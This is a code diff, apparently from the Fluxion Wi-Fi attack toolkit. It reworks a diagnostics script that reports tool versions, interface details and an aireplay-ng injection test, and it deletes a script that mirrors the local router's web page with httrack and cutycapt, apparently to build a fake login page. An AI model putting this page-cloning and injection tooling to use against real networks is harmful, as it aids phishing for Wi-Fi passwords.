else declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh))
|
||||
echo "$HEADER_SIZE FLUXION Info"
|
||||
if [ -f "fluxion" ];then
|
||||
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion))
|
||||
else
|
||||
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion))
|
||||
fi
|
||||
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
|
||||
echo -ne "\n\n"
|
||||
|
||||
echo "[ BASH Info ]"
|
||||
echo "$HEADER_SIZE BASH Info "
|
||||
bash --version
|
||||
echo "Path: $(ls -L $(which bash))"
|
||||
echo "**Path:** $(ls -L $(which bash))"
|
||||
echo -ne "\n\n"
|
||||
|
||||
echo "[ Interface ($1) Info ]"
|
||||
if interface_physical "$1"; then echo "Device: $InterfacePhysical"
|
||||
else echo "Device: Unknown"
|
||||
echo "$HEADER_SIZE Interface ($1) Info "
|
||||
if interface_physical "$1";then
|
||||
echo "**Device**: $InterfacePhysical"
|
||||
else
|
||||
echo "**Device:** Unknown"
|
||||
fi
|
||||
|
||||
if interface_driver "$1"; then echo "Driver: $InterfaceDriver"
|
||||
else echo "Driver: Unsupported"
|
||||
if interface_driver "$1";then
|
||||
echo "**Driver:** $InterfaceDriver"
|
||||
else
|
||||
echo "**Driver:** Unsupported"
|
||||
fi
|
||||
|
||||
if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset"
|
||||
else echo "Chipset: Unknown"
|
||||
if interface_chipset "$1";then
|
||||
echo "**Chipset:** $InterfaceChipset"
|
||||
else
|
||||
echo "**Chipset:** Unknown"
|
||||
fi
|
||||
|
||||
echo -n "Injection Test: "
|
||||
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo "failed"
|
||||
if iw list | grep monitor | head -n 1 | tail -n 1 &>/dev/null;then
|
||||
echo "**Master Modes** Yes"
|
||||
else
|
||||
echo "**Master Modes** No"
|
||||
fi
|
||||
|
||||
echo -n "**Injection Test:** "
|
||||
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo -e "\033[31mFailed\033[0m"
|
||||
echo -ne "\n\n"
|
||||
|
||||
echo "[ XTerm Info ]"
|
||||
echo "Version: $(xterm -version)"
|
||||
echo "Path: $(ls -L $(which xterm))"
|
||||
echo "$HEADER_SIZE XTerm Infos"
|
||||
echo "**Version:** $(xterm -version)"
|
||||
echo "**Path:** $(ls -L $(which xterm))"
|
||||
echo -n "Test: "
|
||||
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
|
||||
else echo "XServer/XTerm failure!"
|
||||
else
|
||||
echo -e "\033[31m XServer/XTerm failure!\033[0m"
|
||||
fi
|
||||
echo -ne "\n\n"
|
||||
|
||||
echo "[ HostAPD Info ]"
|
||||
echo "$HEADER_SIZE HostAPD Info"
|
||||
hostapd -v
|
||||
echo "Path: $(ls -L $(which hostapd))"
|
||||
echo -ne "\n\n"
|
||||
|
||||
echo "[ Aircrack-ng Info ]"
|
||||
echo "$HEADER_SIZE Aircrack-ng Info"
|
||||
aircrack-ng -H | head -n 4
|
||||
echo -ne "\n\n"
|
||||
echo -ne "\n"
|
||||
|
||||
echo "[ System Info ]"
|
||||
if [ -r "/proc/version" ]; then cat /proc/version
|
||||
else uname -r
|
||||
echo "$HEADER_SIZE System Info"
|
||||
if [ -r "/proc/version" ]; then
|
||||
echo "**Chipset:** $(cat /proc/version)"
|
||||
else
|
||||
echo "**Chipset:** $(uname -r)"
|
||||
fi
|
||||
|
|
|
@ -1,70 +0,0 @@
|
|||
#!/bin/bash
|
||||
|
||||
##################################### < CONFIGURATION > #####################################
|
||||
|
||||
gateway=$(ip route | grep default | awk '{print $3}')
|
||||
|
||||
#Colors
|
||||
white="\033[1;37m"
|
||||
red="\033[1;31m"
|
||||
blue="\033[1;34m"
|
||||
transparent="\e[0m"
|
||||
|
||||
#############################################################################################
|
||||
|
||||
clear
|
||||
echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
|
||||
echo -e "$red Prepare router page."
|
||||
echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
|
||||
echo "[i] Prepare dep."
|
||||
|
||||
# Check which package manager is installed
|
||||
echo "Package Manager"
|
||||
if hash pacman 2>/dev/null; then
|
||||
PACK="pacman -S"
|
||||
else
|
||||
if hash apt-get 2>/dev/null; then
|
||||
PACK="apt-get install"
|
||||
else
|
||||
if hash yum 2>/dev/null; then
|
||||
PACK="yum install"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
sleep 0.025
|
||||
echo "================================================================================="
|
||||
|
||||
echo -ne "Httrack........."
|
||||
if ! hash httrack 2>/dev/null; then
|
||||
echo -e "\e[1;31mNot installed"$transparent""
|
||||
$PACK httrack
|
||||
else
|
||||
echo -e "\e[1;32mOK!"$transparent""
|
||||
fi
|
||||
sleep 0.025
|
||||
echo "================================================================================="
|
||||
|
||||
echo -ne "cutycapt........"
|
||||
if ! hash httrack 2>/dev/null; then
|
||||
echo -e "\e[1;31mNot installed"$transparent""
|
||||
$PACK cutycapt
|
||||
else
|
||||
echo -e "\e[1;32mOK!"$transparent""
|
||||
fi
|
||||
sleep 0.025
|
||||
echo "================================================================================="
|
||||
|
||||
if [ ! -d sites ]; then
|
||||
mkdir sites
|
||||
fi
|
||||
|
||||
#############################################################################################
|
||||
echo "[i] Download preview picture"
|
||||
cutycapt --url=http://$gateway --out=sites/$(date | awk '{print $4}').png
|
||||
echo "================================================================================="
|
||||
|
||||
cd sites
|
||||
echo "[i] Download router site"
|
||||
httrack $gateway
|
||||
echo "================================================================================="
|
||||
echo "[I] DONE"
|
Loading…
Reference in New Issue